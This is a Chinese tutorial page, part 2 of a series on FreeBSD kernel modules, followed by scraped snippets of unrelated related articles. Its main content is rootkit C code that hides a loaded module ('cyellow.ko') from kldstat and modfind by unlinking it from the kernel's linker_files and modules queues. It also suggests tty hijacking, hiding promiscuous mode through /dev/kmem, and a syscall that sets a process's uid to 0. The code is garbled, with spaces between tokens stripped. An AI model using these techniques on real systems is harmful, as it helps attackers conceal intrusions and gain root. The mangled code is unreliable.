玩转freebsd内核模块(2)

3.6.隐藏模块

重要的,我们当然要隐藏模块自身了(kldstat|kldstat-v区别;))

前面我们已经提到了维持了一系列连入内核的文件(.ko),是个队列linker_files(这个是个linker_file结构的队列)。所以我们要首先隐藏文件本身,队列linker_files定义在/sys/kern/kern_linker.c此外它还有一个计数单元定义在next_file_id,这个

数应该是现在的文件数+1。所以我们要首先递减它,相同的还有一个内核用来统计的引用值,现在从队列中删除模块

      externlinker_file_list_tlinker_files;
       externintnext_file_id;
       externstructlocklock;
       [...]
       linker_file_tlf=0;
       /*lockexclusive,sincewechangethings*/
       lockmgr(&lock,LK_EXCLUSIVE,0,curproc);
       (&linker_files)->tqh_first->refs--;
       TAILQ_FOREACH(lf,&linker_files,link){  //宏定义遍历队列得到linker_file结构
         if(!strcmp(lf->filename,"cyellow.ko")){
          /*firstlet'sdecrementthegloballinkfilecounter*/
          next_file_id--;
          /*nowlet'sremovetheentry*/
          TAILQ_REMOVE(&linker_files,lf,link);//从队列中删除
          break;  
         }
       }
       lockmgr(&lock,LK_RELEASE,0,curproc);

下一步我们就要把文件包含的模块也从模块队列中删除,象文件队列一样,其中也有引用计数,以及模块计数单元。

      externmodulelist_tmodules;
       externintnextid;
       [...]
       module_tmod=0;
       TAILQ_FOREACH(mod,&modules,link){
         if(!strcmp(mod->name,"cy")){
           /*firstlet'spatchtheinternalIDcounter*/
           nextid--;
   
           TAILQ_REMOVE(&modules,mod,link);
         }
       }
       [...]

现在我们看kldstat的输出模块消失了,注意当它从模块队列中消除后,我们用modfind都找不到了,这只是在当你的模块中包含了系统调用时。然而我们可以通过手工计算偏移来引用它,如果没有别的模块加载,它通常都是210,CY允许你指定这个偏移值,它是我相信可能还有其它的方法来找到它。

3.6其它的应用

还有其他可以利用内核模块可以做得很多事,比如tty的劫持,隐藏接口的混杂模式,或者通过一个系统调用来改变进程uid为0下面的内核补丁于此类似。隐藏接口的混杂模式,修改/dev/kmem,只需要把借口的标志清0就可以了,这种情况下即使有人用 tcpdump接口的模式也不会是混杂。(:))

当然通过/dev/kmem你可以得到很多有趣的的东西;)

时间: 2024-12-31 19:57:21

玩转freebsd内核模块(2)的相关文章

玩转freebsd内核模块(1)

1.介绍 首先介绍内核模块的概念,还有系统调用的概念,说明的一点就是freebsd安全级别问题,通常在2级就不可以加载模块了 可以用sysctl调整设置或者在/etc/rc.conf中增加如下条目在启动时调整: kern_securelevel_enable="YES" kern_securelevel="2" 本文only用来教育目的,:)所有涉及的代码都可以在CuriousYellow(CY)中找到. 1.2.内核模块 请参考scz@nsfocus前辈翻译的内核

fedora4中的MySQL问题

起因:很少碰Linux,一直都是玩的FreeBSD,忽然之间不习惯了,我喜欢PORT,不喜欢RPM这个东西! FC4中自带了4.1.11的Mysql,我想装4.0.25,但总是出错.请问如果才能彻底删除自带的Mysql,安装时我并没选Mysql,它还是装上去了.谢谢各位了. 先要停掉MySQL服务:mysqladmin -u root shutdown 然后安装新的MySQL,安装完后把原来的mysql删掉,把mysql指向新安装的版本上就可以了 (失败!) #pkill mysqld  #rp

FreeBSD下构建安全的Web服务器(1)

序言 在我们跑Web服务器的时候,大家可能都会一致认为使用Linux+Mysql+Apache+PHP整个开源的系统是比较好的选择,但是我个人认为这是不合理的,首先要根据你的应用来觉得你使用什么服务.假如你需要跑Oracle等大型应用的话,而且Oracle在Linux下是支持的比较好的,那么使用Linux是个好的选择,因为在FreeBSD下安装Oracle是个非常麻烦的事情.那么如果是跑普通的网站应用的话,我觉得使用FreeBSD+Mysql+Apache+PHP是个好的选择,因为对于一个网站来

我看Linux与FreeBSD

简单说说,不做技术分析(主要是没什么技术),供大家参考,消遣.众所周知,这两个系统都是出自一个老祖宗,就是UNIX了.当然unix是非常非常稳定的,我想主要原因是当时还没有3721一类的流氓插件,也没有熊猫烧香.总之当pc还没有普及的时候,外部环境很单纯,系统也很单纯,自然不会有什么问题. Linux是由一个芬兰大学生Linus基于UNIX开发的,他也不是一时闲得无聊没妞泡,而是当时的AT&T与伯克利大学在BSD版权问题上发生了法律纠纷,导致BSD的源代码不能自由使用.(注:BSD是Unix的衍

给FreeBSD新手的一些建议

作为一个BSDer,在网上转得最多得就是UNIX相关论坛了,在与不少新手接触的过程中,发现有相当一部分人是从Windows下转过来的(几乎是"绝大多数"),在学习FreeBSD的时候会遇到不少困难,甚至觉得UNIX类系统极为难用,在这里,我把自己的经验总结一下,供大家参考. 首先是如何获得的问题,Windows到处有卖,甚至某些Linux,比如RedHat,Mandrake等都有卖,但FreeBSD,NetBSD等UNIX目前似乎还没有看见有出售--至少重庆是如此.获得BSD最好的途径

Freebsd 7.0+Apache2.2+MySQL5+PHP5的安装配置

最近装个了Freebsd7.0,不太会用.以前用过一点Linux和Solaris,昨天花了一天的时间来装上述软件,把一天的操作和心得整理一下,也许对像我一样的BSD新有点作用吧. 以前在Linux装上述软件时我是一个一个编译安装的,Solaris上是用pkgadd安装的Apache和MySQL,然后手动编译安装的PHP. 开始上网先搜索了一些关于配置这方面的资料,由于最近才玩BSD,对ports安装软件也不熟悉,况且我那台机器只能在内网使用,没有连接外网,也许所要安装的这些软件在光盘里有(我安装

FreeBSD上用IP Filter进行桥过滤

几年以前,我以前的一个大学老师准备利用Microsoft的一台大型赠品设备来组建一个实验室.希望把这个实验室建成某种供学生和职工使用的地方,让他们拥有学院系统(Faculty System)的系统管理员所给予他们的更高的权限.Internet编程(Web,分布式操作系统等)教学也计划在这里进行.这个老师的一个愿望就是不用防火墙将这个实验室进行隔离,从而使学生们可以访问全世界的站点.很明显 ,他不懂Internet安全. 在那段时间中,这个实验室简直就变成了一些学生(他们中的大多数已经离开学校,有

FreeBSD中的SYSINIT框架

SYSINIT是一个通用的调用排序与分别执行机制的框架.FreeBSD目前使用它来进行内核的动态初始化.SYSINIT使得FreeBSD的内核各子系统可以在内核或模块动态加载链接时被重整.添加.删除.替换,这样,内核和模块加载时就不必去修改一个静态的有序初始化安排表甚至重新编译内核. 这个体系也使得内核模块(现在称为KLD可以与内核不同时编译.链接.在引导系统时加载,甚至在系统运行时加载.这些操作是通过"内核链接器"(kernel linker)和"链接器集合"(l

编写属于你的第一个Linux内核模块

内核编程常常看起来像是黑魔法,而在亚瑟 C 克拉克的眼中,它八成就是了.Linux内核和它的用户空间是大不相同的:抛开漫不经心,你必须小心翼翼,因为你编程中的一个bug就会影响到整个系统.浮点运算做起来可不容易,堆栈固定而狭小,而你写的代码总是异步的,因此你需要想想并发会导致什么.而除了所有这一切之外,Linux内核只是一个很大的.很复杂的C程序,它对每个人开放,任何人都去读它.学习它并改进它,而你也可以是其中之一. 学习内核编程的最简单的方式也许就是写个内核模块:一段可以动态加载进内核的代码.